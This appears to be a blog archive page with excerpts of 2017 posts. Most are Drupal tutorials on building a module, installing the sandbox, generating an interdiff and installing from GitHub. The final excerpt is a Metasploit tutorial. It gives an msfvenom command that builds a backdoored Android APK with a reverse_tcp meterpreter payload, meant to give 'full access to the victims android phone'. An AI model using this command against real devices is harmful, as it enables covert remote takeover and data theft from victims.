Skip to main content


Showing posts from 2017

[Drupal 8]Build a simple hello_world Module

Drupal is one of the world's most widely used Content Management System. It is mainly used to create your own website and publish it using an online webhost. Drupal 8, its latest release, takes the lead over Drupal 7 since it brought along with it a lot of changes. Drupal 8 is also very fast and flexible. Below are few steps you need to follow to create a module in drupal. A module is basically a simple page where you can add your own features by using Controllers, which we will later on in this article. Click here to check out my blog post on how to install Drupal using composer. Structure of files i) An info.yml file - Module ii) A routing.yml file - Routing File iii) A Controller Building the module A module needs to have the .info.yml extension. This file will contain important information such as: (i) name of the module (ii) a description of what the module can do (iii) the type, which can be module, profile or theme (iv) package, which s

[Drupal]Drupal 8 Sandbox

Installation of Drupal 8 Sandbox Why Use the Sandbox version? If you want to give drupal a try, but you're unsure of how it'll look like or want to check how it works, the sandbox version is just for you. If you already know how to set up drupal on your lamp server, then you'll have no problem at all to set up the sandbox version. If, somehow, you can't figure it out, then you can just follow the simple steps below and you'll be there. In the steps below, we'll use Sandbox version of Drupal to generate a new issue, and patch it using Git.                    Requirements: Git Steps: Step 1: Clone it Start by opening your terminal and clone the repository by running the following the command: git clone --branch 8.x drupal-sandbox This command will clone drupal 8 sandbox and the all the files will be in a folder 'drupal-sandbox'. You can change the name of the f

[Drupal]How to generate an Interdiff

What's an interdiff in the first place? An interdiff a simple .txt file which contains all the different changes made between two patches(an old patch and a new patch). Generating an interdiff is relatively easy. Following the steps below will make it easy for you to generate the interdiff. Requirements: patchutils sudo apt-get install patchutils; List of Issues: There's a list of open issues here , whereby you can choose any of them and contribute to Drupal , by patching. For the tutorial, we'll be using the issue with id 2639682 . We'll generate the interdiff for 2639682-26.patch and 2639682-20.patch . Before making the interdiff, you need to download both patches. An easy way to download the script is by using wget. wget wget   Now that you've download both patches, you can generate the inter

[Drupal]How to Install Drupal from Github

Drupal, which is found to be open source, is a building platform, which is used by people all around the world, to share their experiences online. Below are the steps to install Drupal with Git . Requirements: LAMP server Click here if you are having trouble installing LAMP server phpmyadmin Composer Git Steps: To start, you need to clone drupal repository from github Wait for it... Then move the necessary files from the cloned folder to your root directory Run Composer with root permission after moving all the necessary files Wait for it... Creating the database with mysql From the terminal, access your mysql interface by running the following command: Don't forget to replace username with your actual username for your mysql-server. The following are mysql commands, which will be used to create the database, and grant some privileges to it, in order for drupal to create the necessary tables. CREATE DATABASE drupal; GRANT SELECT, INSERT, UPDA

[Android + msf]How to use Metasploit Framework on an Android Device?

Metasploit Framework(msf) Requirements: Linux-based OS You'll need to have msfconsole installed on your machine You'll need to have msfvenom correctly installed on the machine. This will be used to generate the backdoor.  Install apktool as well. Note: This tutorial is meant for educational purposes only. Please don't misguide the purpose of this tutorial, you'll be responsible for any act of Hacking or theft. Steps 1) First of all open up your terminal. (Ctrl + Alt + T) $ sudo apt-get update Update your repositories before starting. 2) Once updated, we can start. Simply follow the steps below to get started: $ sudo msfvenom -p android/meterpreter/reverse_tcp LHOST='' LPORT='xxxx' R > testfile.apk Replace "testfile" with any name you want. This will be the Main Activity, which when tapped on your android device will activate meterpreter on your terminal and let you gain full access to the victims android phone.